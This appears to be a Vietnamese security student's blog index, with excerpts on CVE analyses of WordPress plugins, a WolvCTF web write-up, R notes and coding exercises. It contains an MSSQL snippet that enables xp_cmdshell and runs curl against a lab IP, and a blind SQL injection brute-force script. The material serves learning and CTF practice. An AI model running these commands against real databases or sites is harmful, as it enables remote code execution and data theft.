Bài đăng

Thực thi RCE via MSSQL CLI

-- Switch to the 'sa' user context EXECUTE AS LOGIN='sa'; -- Enable advanced options EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE; -- Enable xp_cmdshell EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Use xp_cmdshell to download the file using curl EXECUTE xp_cmdshell "curl http://10.10.14.61:1234/a";

Kiểm tra các kết nối ẩn với máy tính

netstat -abf 5  Lệnh này sẽ liệt kê các kết nối với Internet. Nếu có link lạ, có thể đó là virus

Setup máy ảo

 Setup  Download vulnbox va import tren may attacker and client chuyen thanh only host adapter Nho set cable connect nmap -pn ip/24 de detect client ip

CVE-2024-27956

Hình ảnh

Phân tích CVE-2023-23488

Hình ảnh
 Phân tích CVE-2023-23488 Mỗt lỗ hổng SQL Injection không xác thực ảnh hưởng đến tất cả phiên bản <2.9.8 của plugin Paid Memberships Pro của Wordpress. Tham khảo Mình cài bản 2.9.6 Trong bài viết, lỗ hổng được đề cập nằm ở tham số code tại REST route.  Tại file rest-api.php ta thấy nó có gọi đến hàm pmpro_rest_api_permissions_get_order() Để truy cập vô thì ta sẽ truy cập đường dẫn sau  http://localhost/wordpress/wp-json/pmpro/v1/order Nhảy đến hàm  pmpro_rest_api_permissions_get_order() Thấy rằng nếu method là GET, route là /pmpro/v1/order và không có permission thì đoạn if sẽ được thực thi Chú ý vào vào biến $code, có thể điều khiển được giá trị đầu vào. Input chưa được sanitize được đưa thẳng vô class MemberOrder.  Nhảy đến class này để kiểm tra, thấy được đưa vô đối số $id Đoạn if kiểm tra nếu $id là số thì gọi đến hàm getMemberOrderByID, còn không thì gọi đến getMemberOrderByCode. Trong trường hợp này chúng ta sẽ truyền giá trị không phải là số, hãy xem hàm getMemberOrderByCode(

R

 R programing language and me Hello bài này mình sẽ note lại kiến thức của mình liên quan đến ngôn ngữ R do môn mình học có liên quan đến nó :v What's R?? - R là một ngôn  mạnh mẽ thường được dùng để tính toán và đồ họa thống kê.  How to use R in statistic math - Đầu tiên phải năm các syntax cơ bản R sẽ phân biệt chữ hoa với chữ thường nên User sẽ khác user +) c(): hàm này dùng để nhập input từ người dùng, mỗi data phân cách nhau bởi dấu phẩy.  +)  x =3: gán giá trị 3 cho x +) so sánh x==3, x<3 (x>3), x<=3 (x>=3) +) is.na(x): check x no n.a hay không  A&B: A và B A|B: A hoặc B !: không +) x-<rnorm(10): tạo 10 phân phối chuẩn tắc ngẫu nhiên N(0,1) +) Các phép tính ngẫu nhiên +,-,*,/,^ seq(): tạo 1 ngẫu nhiên seq(5,10,2): tạo từ 5 đến 10 cách nhau 2 đơn vị. Tăng dần seq(length=10,from=2,to=9): chạy từ 2 đến chia, chia thành 10 khoảng ----------- Tạo 2 đối tượng  insulin <- c(16.5,10.8,32.3,19.3,14.2,11.3,15.5,15.8,16.2,11.2) age <- c(50,62,60,40,48,47,57,70,4

Leetcode

 Try hard Java on hackerrank Day1: Wellcome 2 java public class Solution {     public static void main ( String [] args ){         System . out . println ( "Hello, World." );         System . out . println ( "Hello, Java." );     } } Day2: java stdin and stdout import java.util.Scanner ; public class Solution {     public static void main ( String [] args ){         Scanner input = new Scanner ( System . in );         int number1 = input . nextInt ();         int number2 = input . nextInt ();         int number3 = input . nextInt ();         System . out . println (number1);         System . out . println (number2);         System . out . println (number3);     } } Day3: java if else import java.util.Scanner ; public class Solution {     public static void main ( String [] args ){         Scanner input = new Scanner ( System . in );         int n = input . nextInt ();         if (n % 2 != 0 ){             System . out . println (
Hình ảnh
 WolvCTF and i did my best. Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later. Web1: Bean Cafe We need upload 2 difference images but same the md5 hash I found this drive which contain 2  image :d thx someone whose i dont know the name lmao https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0 Uploaded it Web2: Order Up 1  This is my script. Yeah that's all import requests import json import string a = string.printable s = "" url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query" for i in range ( 1 , 100 ):     for j in a:         data = {             "col1" : "item_name" ,             "order" : f " (case when (ascii(substr(current_query(), { i } ,1))= { ord (j) } ) then item_name else category end)"             #(case when (ascii(substr(current_database

CVE-2023-6063

Hình ảnh
 Phân tích WP Fastest Cache 1.2.0 - Unauthenticated SQL Injection Hello mọi người, dạo này ham hố kiếm CVE quá (tại tui nghèo mà) nên quyết định nghiên cứu CVE này để lấy lợi thế. Sẵn tiện em đang có mong muốn inter parttime mảng pentest, anh chị hr nào cần tuyển thì cứ comment hoặc ib qua facebook ạ T_T. Mình viết còn nhiều sai sót, mong được mọi người chỉ bảo để có thể cải thiện kĩ năng Yêu cầu:  +) Wordpress(bản nào cũng được) +) Fastest Cache version dưới 1.2.2, ở đây thì mình lựa chọn cài bản 1.2.0 chưa vá lỗi. +) Mysql(đang chạy bản nào cũng được) Các bước chuẩn bị: Add plugin vừa tải vào đây và đợi cài Enable cache system Vậy chúng ta đã xong bước chuẩn bị. Tiến hành phân tích code và đặt breakpoint Dưới là đoạn code dính lỗi tại file cache.php Mọi người có thể đọc lại bài của mình để hiểu về regex , mình kém nó lắm nên đôi lúc phải đọc lại cho nhớ :))))  Từ dòng 478-480, ta thấy nó lấy $cookie_key và $cookie_value từ global variable cụ thể ở đây là $_COOKIE, lấy thông qua fore
 LeetCode, It's coding time LeetCode day1: Long common prefix. Level easy Python solution class Solution :     def longestCommonPrefix ( self , strs : List[ str ]) -> str :         if not str :             return ""         strs.sort()         first_list = strs[ 0 ]         last_list = strs[- 1 ]         long_common_prefix = ""         for i in range ( len (first_list)):             if first_list[i] == last_list[i]:                 long_common_prefix+=first_list[i]             else :                 return long_common_prefix         return long_common_prefix Javascript solution /**  * @param {string[]} strs  * @return {string}  */ var longestCommonPrefix = function ( strs ) {     if (! strs || strs . length == 0 ){         return ""     }     strs . sort ()     first_list = strs [ 0 ]     last_list = strs [ strs . length - 1 ]     long_common_prefix = ""     for ( let i = 0 ; i < first_list . length ; i ++){